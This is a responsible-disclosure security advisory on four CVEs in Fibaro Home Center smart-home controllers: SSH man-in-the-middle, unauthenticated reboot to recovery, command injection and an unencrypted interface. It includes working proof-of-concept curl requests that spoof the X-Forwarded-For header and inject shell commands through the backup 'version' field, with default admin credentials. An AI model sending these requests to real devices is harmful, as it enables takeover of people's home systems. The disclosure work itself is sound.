IoT Inspector Research Lab Advisory IOT-20210408-0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ title: Multiple vulnerabilities vendor/product: Fibaro Home Center Light / Fibaro Home Center 2 https://www.fibaro.com/ vulnerable version: 4.600 and older fixed version: 4.610 CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992 impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H reported: 2020-11-18 publication: 2021-04-08 by: Marton Illes, IoT Inspector Research Lab https://www.iot-inspector.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vendor description: ------------------- "FIBARO is a global brand based on the Internet of Things technology. It provides solutions for building and home automation. FIBARO's headquarters and factory are located in Wysogotowo, 3 miles away from Poznan. The company employs app. 250 employees." https://www.fibaro.com/en/about-us/ Vulnerability overview/description: ----------------------------------- 1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a man-in-the-middle attack and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. By initiating connections to the Fibaro cloud an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode (CVE-2021-20990) An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3) 3) Authenticated remote command execution (versions before 4.550) (CVE-2021-20991) An authenticated user can run commands as root user using a command injection vulnerability. Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert: https://securelist.com/fibaro-smart-home/91416/ 4) Unencrypted management interface (CVE-2021-20992) Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Proof of concept: ----------------- 1) Cloud SSH Connection Man-in-the-Middle Attack Home Center devices initiate a SSH connection to the Fibaro cloud ./etc/init.d/fibaro/RemoteAccess DAEMON=/usr/bin/ssh .... case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Seria l}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_S erial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}" The device uses dropbear ssh to initiate the connection; option -y disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: lb-1.eu.ra.fibaro.com An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward: -R "${PORT_Response}":localhost:80 This enables the attacker to access port 80 (management interface) of the device. A similar problem exists for remote support connections: ./opt/fibaro/scripts/remote-support.lua function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData() Here, the remote support endpoint returns the following data: {"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY .ZZZ"} The same dropbear ssh client is used with option -y. In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection. 2) Unauthenticated access to shutdown, reboot and reboot to recovery mode The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; } The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header X-Forwarded-For is also considered: ./var/www/authorize.php function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; } As the lighttpd service available via the network, an attacked can inject the required header X-Forwarded-For as well. The check isLocalRequest is used to "secure" multiple endpoints: ./var/www/services/system/shutdown.php ./var/www/services/system/reboot.php function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed(); An attacker can issue the the following HTTP request to reboot the device into recovery mode: curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php In recovery mode, firmware images can be updated without authentication. 3) Authenticated remote command execution (versions before 4.550) Backup & restore operations could be triggered though HTTP endpoints: ./var/www/services/system/backups.php function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); } The parameter $version is not sanitized or escaped, which allows an attacker to inject shell commands into the exec() call: cat > /tmp/exploit <<- EOM {"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}} EOM curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php Version 4.550 and later have proper escaping: $version = escapeshellarg($params->version); 4) Unencrypted management interface NMMAP shows a few open ports on the box: PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8000/tcp open http-alt Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Vulnerable / tested versions: ----------------------------- Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest version at the time of the discovery Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530 Solution: --------- Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. Advisory URL: ------------- https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ Vendor contact timeline: ------------------------ 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ The IoT Inspector Research Lab is an integrated part of IoT Inspector. IoT Inspector is a platform for automated security analysis and compliance checks of IoT firmware. Our mission is to secure the Internet of Things. In order to discover vulnerabilities and vulnerability patterns within IoT devices and to further enhance automated identification that allows for scalable detection within IoT Inspector, we conduct excessive security research in the area of IoT. Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT firmware, we aim to responsibly disclose relevant information to the vendor of the affected IoT device as well as the general public in a way that minimizes potential harm and encourages further security analyses of IoT systems. You can find our responsible disclosure policy here: https://www.iot-inspector.com/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~ Interested in using IoT Inspector for your research or product? Mail: research at iot-inspector dot com Web: https://www.iot-inspector.com Blog: https://www.iot-inspector.com/blog/ Twitter: https://twitter.com/iotinspector EOF Marton Illes / @2021